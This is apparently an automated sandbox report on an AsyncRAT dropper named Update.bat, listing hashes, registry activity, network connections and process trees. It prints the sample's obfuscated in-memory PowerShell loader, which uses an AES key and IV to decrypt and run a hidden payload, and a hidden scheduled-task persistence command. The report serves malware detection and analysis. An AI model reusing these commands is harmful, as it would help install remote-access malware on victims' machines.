Analysis Overview
SHA256
90253e1be6b5b8928661ce82317b156e1ed4a974e1c6def34414495191e8f50f
Threat Level: Known bad
The file Update.bat was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Async RAT payload
Executes dropped EXE
Checks computer location settings
Enumerates physical storage devices
Modifies registry class
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-03-01 02:05
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-03-01 02:05
Reported
2024-03-01 02:08
Platform
win10v2004-20240226-en
Max time kernel
147s
Max time network
152s
Command Line
Signatures
AsyncRat
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\Update.bat.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Update.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\startup_str_424.bat.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\Update.bat.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Update.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Update.bat.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\startup_str_424.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\startup_str_424.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\startup_str_424.bat.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Update.bat"
C:\Users\Admin\AppData\Local\Temp\Update.bat.exe
"Update.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_RBmaF = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Update.bat').Split([Environment]::NewLine);foreach ($_CASH_IjfQb in $_CASH_RBmaF) { if ($_CASH_IjfQb.StartsWith(':: @')) { $_CASH_rvGhe = $_CASH_IjfQb.Substring(4); break; }; };$_CASH_rvGhe = [System.Text.RegularExpressions.Regex]::Replace($_CASH_rvGhe, '_CASH_', '');$_CASH_DkAdB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_rvGhe);$_CASH_lMgXj = New-Object System.Security.Cryptography.AesManaged;$_CASH_lMgXj.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_lMgXj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_lMgXj.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/1ndH6+lrsjZ2yYUNqKgNPGrHYX/Tct5RucmyyX+KDY=');$_CASH_lMgXj.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qky27F+ZQUxwHZWbtyy/7w==');$_CASH_fRgtG = $_CASH_lMgXj.CreateDecryptor();$_CASH_DkAdB = $_CASH_fRgtG.TransformFinalBlock($_CASH_DkAdB, 0, $_CASH_DkAdB.Length);$_CASH_fRgtG.Dispose();$_CASH_lMgXj.Dispose();$_CASH_BbdgF = New-Object System.IO.MemoryStream(, $_CASH_DkAdB);$_CASH_RhuKx = New-Object System.IO.MemoryStream;$_CASH_PnSrr = New-Object System.IO.Compression.GZipStream($_CASH_BbdgF, [IO.Compression.CompressionMode]::Decompress);$_CASH_PnSrr.CopyTo($_CASH_RhuKx);$_CASH_PnSrr.Dispose();$_CASH_BbdgF.Dispose();$_CASH_RhuKx.Dispose();$_CASH_DkAdB = $_CASH_RhuKx.ToArray();$_CASH_LuMET = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_DkAdB);$_CASH_wBIxo = $_CASH_LuMET.EntryPoint;$_CASH_wBIxo.Invoke($null, (, [string[]] ('')))
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\Update')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_424_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_424.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_424.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_424.bat" "
C:\Users\Admin\AppData\Roaming\startup_str_424.bat.exe
"startup_str_424.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_RBmaF = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_424.bat').Split([Environment]::NewLine);foreach ($_CASH_IjfQb in $_CASH_RBmaF) { if ($_CASH_IjfQb.StartsWith(':: @')) { $_CASH_rvGhe = $_CASH_IjfQb.Substring(4); break; }; };$_CASH_rvGhe = [System.Text.RegularExpressions.Regex]::Replace($_CASH_rvGhe, '_CASH_', '');$_CASH_DkAdB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_rvGhe);$_CASH_lMgXj = New-Object System.Security.Cryptography.AesManaged;$_CASH_lMgXj.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_lMgXj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_lMgXj.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/1ndH6+lrsjZ2yYUNqKgNPGrHYX/Tct5RucmyyX+KDY=');$_CASH_lMgXj.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qky27F+ZQUxwHZWbtyy/7w==');$_CASH_fRgtG = $_CASH_lMgXj.CreateDecryptor();$_CASH_DkAdB = $_CASH_fRgtG.TransformFinalBlock($_CASH_DkAdB, 0, $_CASH_DkAdB.Length);$_CASH_fRgtG.Dispose();$_CASH_lMgXj.Dispose();$_CASH_BbdgF = New-Object System.IO.MemoryStream(, $_CASH_DkAdB);$_CASH_RhuKx = New-Object System.IO.MemoryStream;$_CASH_PnSrr = New-Object System.IO.Compression.GZipStream($_CASH_BbdgF, [IO.Compression.CompressionMode]::Decompress);$_CASH_PnSrr.CopyTo($_CASH_RhuKx);$_CASH_PnSrr.Dispose();$_CASH_BbdgF.Dispose();$_CASH_RhuKx.Dispose();$_CASH_DkAdB = $_CASH_RhuKx.ToArray();$_CASH_LuMET = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_DkAdB);$_CASH_wBIxo = $_CASH_LuMET.EntryPoint;$_CASH_wBIxo.Invoke($null, (, [string[]] ('')))
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\startup_str_424')
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.200:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 200.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.110.16.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.134.221.88.in-addr.arpa | udp |
| US | 20.231.121.79:80 | tcp | |
| US | 8.8.8.8:53 | 173.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.179.89.13.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\Update.bat.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
memory/3156-4-0x0000014D4EC60000-0x0000014D4EC82000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_raiqlgkz.ydu.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3156-14-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp
memory/3156-15-0x0000014D4CBE0000-0x0000014D4CBF0000-memory.dmp
memory/3156-16-0x0000014D4CBE0000-0x0000014D4CBF0000-memory.dmp
memory/3156-17-0x0000014D4EF40000-0x0000014D4F194000-memory.dmp
memory/4924-28-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp
memory/4924-29-0x000002136E9A0000-0x000002136E9B0000-memory.dmp
memory/4924-30-0x000002136E9A0000-0x000002136E9B0000-memory.dmp
memory/4924-33-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
memory/3888-36-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp
memory/3888-37-0x000001967D090000-0x000001967D0A0000-memory.dmp
memory/3888-38-0x000001967D090000-0x000001967D0A0000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | c118e29489863b7d5859e4e697842329 |
| SHA1 | ede543c75580fa7caba7d21f42d674248e3c0885 |
| SHA256 | 22d4ec09704d261479cf9521f93ba4840fbe93601f69fb2dd71e6c936dcae091 |
| SHA512 | 868ba879e1a4e5c43824abd70b29ac97a8153b8f9dc49b8d378ca465715ab1833d3d87ba5a0eb4eb7543b5d8cc561946441626e25c0c60afb90bea020113ed44 |
memory/3888-49-0x000001967D090000-0x000001967D0A0000-memory.dmp
memory/3156-50-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp
memory/3888-51-0x000001967D090000-0x000001967D0A0000-memory.dmp
memory/3888-53-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 75b4b2eecda41cec059c973abb1114c0 |
| SHA1 | 11dadf4817ead21b0340ce529ee9bbd7f0422668 |
| SHA256 | 5540f4ea6d18b1aa94a3349652133a4f6641d456757499b7ab12e7ee8f396134 |
| SHA512 | 87feaf17bd331ed6afd9079fefb1d8f5d3911ababf8ea7542be16c946301a7172a5dc46d249b2192376957468d75bf1c99752529ca77ec0aa78a8d054b3a6626 |
C:\Users\Admin\AppData\Roaming\startup_str_424.vbs
| MD5 | 83d919541b76e7700dd6231df023a63f |
| SHA1 | 4245c5c94237946cd8eda053970ae4df2d1152aa |
| SHA256 | 497c5baee4eb969a2d5c7fc0e65b4c9d8dedbc8c9b6843ce7d1d84c8b0cc6167 |
| SHA512 | 3306bdc1a35348aeb3d369b043373984a1faa4a97b193e67b12c514294d8440c66a1e83d29b2fa7a94b878474258788107173ea7283f5f608ade49e48ef4d181 |
C:\Users\Admin\AppData\Roaming\startup_str_424.bat
| MD5 | 9464dc08a0c7c87065f6caed75dec6bd |
| SHA1 | 158d22a58c9ba314a076a62a8bcec466fc1e4165 |
| SHA256 | 90253e1be6b5b8928661ce82317b156e1ed4a974e1c6def34414495191e8f50f |
| SHA512 | b8b0dd38c60f8e81fcc9d2efcc76a669441c078aebbb2276c690315002eccc4fcb0317b29c8e542dd7795f2326775212fe4f68af00065afeadc6efcb7e693812 |
memory/3156-66-0x0000014D4CBE0000-0x0000014D4CBF0000-memory.dmp
memory/4340-76-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp
memory/4340-77-0x000001CB2CB70000-0x000001CB2CB80000-memory.dmp
memory/3156-79-0x0000014D4CBE0000-0x0000014D4CBF0000-memory.dmp
memory/3156-81-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp
memory/4320-82-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp
memory/4320-83-0x00000229136F0000-0x0000022913700000-memory.dmp
memory/4320-84-0x00000229136F0000-0x0000022913700000-memory.dmp
memory/4320-94-0x00000229136F0000-0x0000022913700000-memory.dmp
memory/4320-96-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp
memory/4340-97-0x000001CB2EDD0000-0x000001CB2EDE8000-memory.dmp
memory/4340-99-0x00007FFBAE0F0000-0x00007FFBAE109000-memory.dmp
memory/4340-100-0x00007FFBA2AD0000-0x00007FFBA3591000-memory.dmp